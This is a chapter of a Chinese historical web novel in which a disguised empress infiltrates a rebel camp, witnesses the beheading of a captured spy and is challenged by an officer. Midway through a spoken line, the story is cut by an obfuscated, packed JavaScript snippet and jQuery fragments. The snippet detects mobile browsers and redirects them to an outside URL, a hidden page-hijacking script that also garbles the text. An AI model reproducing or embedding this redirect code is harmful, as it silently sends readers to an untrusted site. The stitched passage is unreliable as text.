纪明珩踏着月色返回紫宸殿,夜风拂动她明黄色的龙纹衣袂。
行至半路,纪明珩突然驻足,对身后的小太监吩咐道:“传陆凛风到龙章阁议事。”
陆凛风身为龙腾卫首领,肩负着护卫皇宫的重任,所以平时就宿在皇宫内,不过片刻,他便已来到龙章阁外。
龙章阁内烛火摇曳,陆凛风快步而入,他单膝跪地,抱拳行礼:“臣陆凛风,参见陛下。不知陛下有何吩咐。”
纪明珩立于窗前,目光投向远方的夜色:“朕想乔装潜入渊武军营。”
陆凛风神色一凛:“陛下,此举风险太大。若有不测,后果不堪设想。”
“除此之外,陆将军可有良策?”纪明珩转身,烛光映照着她沉静的面容,“五万对三十万,无异于螳臂当车。”
陆凛风沉默片刻道:“臣已派遣百余密探混入其中,只待时机。”
纪明珩轻轻抬手:“朕还是决定亲自走一趟。就像前几日楚景尘那样,虽是险招,却不得不为。”
楚景尘为了自己的家人和亲友不得不冒险潜入云京,她也因为双方的实力悬殊不得不潜入渊武军中,寻找机会。
她走至案前:“你派人送信给那些叛军,以他们的家眷性命相胁,务必拖住叛军脚步。”
陆凛风沉声应道:“是。”
纪明珩抬眸看向陆凛风:“你留在云京坐镇,莫要让他人察觉朕已离宫。”
陆凛风嘴唇微动,似要再劝,却在触及帝王那不容置疑的目光时,终是垂首沉默。
三日后
云袖城外,暮色渐沉。
纪明珩蹲在一棵歪脖子老槐树的枝桠上,粗糙的树皮硌着她的膝盖。她咀嚼着半块已经发硬的馒头,眼睛盯着远处的叛军大营。夕阳的余晖将她的身影拉得很长,投在斑驳的树皮上。
她在这棵歪脖子树上蹲守了整整三天,已经摸清了叛军营地的每一处明哨暗岗。
纪明珩低头看了看自己身上的装束,她出门时特意换了装扮,粗布短打,腰间束着一条灰布带子,脚上是双半旧的布靴。头发高高束起,脸上用了陆凛风给她的易容药水。
任谁也不会想到,这个市井间寻常打扮的少年,会是云京中锦衣玉食的帝王。
渊武军六路大军呈扇形进攻包围云京,眼前这支部队是主力先锋,足足五万精锐。主帅齐玉章的大帐就扎在这营地中央,四周环绕着其他重要将领的营帐。
渊武军的防守极为严密,纪明珩此前打算打晕一名士兵,混进去,却发现渊武军每二十人编成一组,每组都有组长,组员彼此熟识,根本无从混入。
正思索间,远处土路上出现四个背着粗布包袱的壮汉,正朝军营方向走去。纪明珩眯起眼睛,这是前往军营的生面孔。
纪明珩身形微动,运用轻功赶过去,借着灌木丛的掩护悄无声息地靠近。在距离几人三丈远时,装作刚刚赶路的样子现身。
“几位大哥请留步。”她装作气喘吁吁的样子。
为首的壮汉转过身来,他上下打量着这个突然出现的少年,声音洪亮:“小兄弟,你也是来渊武军参军的?”
求之不得的机会,正好可以借着这由头混进去。
纪明珩露出憨厚的笑容,不安地搓着衣角:“是啊,想参军混口饭吃,就是不知道该怎么个参法。”
壮汉拍着大腿笑道:“城里到处都贴告示啦,渊武军招兵买马,不论出身,只要有力气就收。”
纪明珩挠了挠头,故作窘迫:“这个…我不识字。”
壮汉道:“嗨,俺也不认得那些曲里拐弯的字,昨儿个还是个过路的秀才念给俺听的。”
纪明珩乘机问道:“我能跟几位大哥结伴一起去吗?”
壮汉爽朗道:“这有啥不能的,走走走,正好路上有个照应。俺叫赵铁柱,小兄弟怎么称呼?”
纪明珩又随口编了一个新名字:“我叫王横。”
几人说笑着来到军营辕门前,持枪的守卫像铁塔般矗立,面容冷峻。
“站住!什么人?”为首的守卫厉声喝道,长枪横在胸前。
赵铁柱上前一步道:“俺们是来投军的。”
守卫锐利的目光在几人身上扫过,最终他微微颔首:“跟我来。”
几人被引进一个临时搭建的军帐。帐内早有三个同样衣着粗陋的男人靠墙而坐,腰间新系的麻绳还带着草屑,显然也是前来投军的。
正当几人寒暄之际,帐帘突然被掀开。一个披甲士兵大步走入。问道:“你们几个都是来参军的?”
众人颔首道:“是。”
他掏出羊皮名册,头也不抬地问道:“把名字报上来。”
“赵铁柱。”
“王横。”
“牛华树。”
众人纷纷报上自己的姓名。
士兵用歪歪扭扭的字迹记录着,墨迹在粗糙的纸面上晕开,记录完后合上名册:“你们几个,跟着我走。”
一行人跟随士兵穿过营地,空气中弥漫着炭火与铁锈混合的刺鼻气味,远处传来铁匠铺叮叮当当的敲打声。
突然,前方校场传来异样的骚动。朔风卷着黄沙呼啸而过,旌旗在风中猎猎作响,如同无数战马在嘶鸣。
校场中央,数千士兵如铁铸般肃立,黑压压的阵列中只听得见铠甲偶尔碰撞的金属声响。
木制高台上,一名军装男子被五花大绑跪在那里。粗麻绳深深勒进皮肉,在裸露的手腕上留下一道道紫黑色的淤痕。
纪明珩压低声音,小心翼翼问道:“这位大哥,那人犯了什么事?”
领路的士兵语气平淡道:“哦,这是龙腾卫的奸细,混进来打探军情的,被尹将军逮了个正着。”
这时,一位身披玄铁重甲的将领踏上高台,沉重的铁靴踏得木板吱呀作响。他摘下头盔,露出一张棱角分明的脸,声音裹挟着浑厚内力,在营地上空回荡:
“众将士听着,此乃狗皇帝派来的龙腾卫鹰犬。潜入我军刺探军情,罪不容诛。”
话音未落,被五花大绑的男子突然抬头:“乱臣贼子,你们犯上作乱,必遭天谴!”
“放肆。”尹修同铁手套狠狠扇在男子脸上,打得他口鼻溢血,“死到临头还敢猖狂。”
男子吐出一口血沫,竟咧嘴笑了:“我等龙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430178|169215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腾卫誓死效忠陛下,陛下乃天命所归,你们这些逆贼,终将伏诛。”
尹修同冷笑道:“好一个忠心的狗奴才,那你就带着这份忠心,去阴曹地府等着你的陛下吧。”
说着他挥了挥手,刽子手沉默地上前,手中的宽刃大刀在夕阳下闪过一道刺目的白光。刀锋落下时几乎没有声响,一颗头颅便已滚落在木台上。暗红的溪流顺着木板的缝隙滴落在下方的尘土中。
校场上死一般的寂静中,尹修同缓缓转身,目光如刀般扫过台下每一个士兵的脸。
“本将不知营中是否还藏有他的同伙。若还有人在暗中窥探,奉劝你们早点离去,告诉你们的主子,莫要做无谓之举。乖乖在云京等着渊武军的铁蹄便是。”
“不然,”尹修同指着旁边的这具无头尸体,“这便是下场。”
“尹将军威武!”台下数千将士齐声呐喊,声浪如潮水般在营地中回荡。
新兵们面色各异,纪明珩别过脸去,不忍再看,身旁的赵铁柱弯腰呕吐。
领路的士兵皱着眉头瞥了赵铁柱一眼,冷声道:“收拾干净,别耽误时辰。”
纪明珩默默掏出汗巾递给赵铁柱,后者接过后胡乱擦了擦嘴角。领路士兵已经转身迈步,新兵们快步跟上。
穿过几排整齐的军帐,最终停在一处挂着“乐武营”木牌的营帐前。
帐内走出一个满脸横肉的男子,“李树,这些新来的?”他粗声问道,目光在几个新兵身上来回打量。
领路士兵抱拳行礼:“回钱校尉,这些都是刚刚投军的新兵。”
钱大马绕着他们转了一圈,突然伸手捏了捏赵铁柱的臂膀:“嚯,这个看起来倒是有把子力气。”
赵铁柱道:“校尉大人好眼力,俺在老家可是能一下子扛三袋粮的。”
钱大马的目光扫到纪明珩时,眉头一皱:“怎么混进来个细皮嫩肉的小白脸?”说着伸手就要去捏她的肩膀。
纪明珩不着痕迹地侧身避开,钱大马的手僵在半空,脸色顿时沉了下来。
他冷笑一声,转身从兵器架上抄起一柄玄铁重刀,那刀身黝黑发亮,足有寻常兵器的三倍重量。
“砰”的一声闷响,重刀砸在纪明珩脚前的地面上,震起一片尘土。
帐内几个正在擦拭兵器的老兵见状,都停下了手中的活计,饶有兴致地望过来,目光灼灼地盯着这场好戏。
钱大马抱臂而立,他的声音里带着明显的嘲弄:“怎么?小白脸连捡刀的力气都没有?要不要哥哥帮你啊。”
帐内传来哄笑声,有人甚至吹起了轻佻的口哨。
几名新兵担忧的看向纪明珩。
纪明珩低头看着脚边的重刀,她缓缓弯腰,右手握住刀柄。
钱大马正要再嘲讽几句,却见纪明珩手腕一翻,那柄沉重的玄铁刀竟如羽毛般在她手中转了个漂亮的刀花。
周围的哄笑声戛然而止。
钱大马收起脸上的嘲讽,眼中闪过一丝惊诧:“倒是有两下子。”
他反手抽出兵器架上的另一把一模一样的玄铁刀:
“来,让本校尉再试试你的真本事。”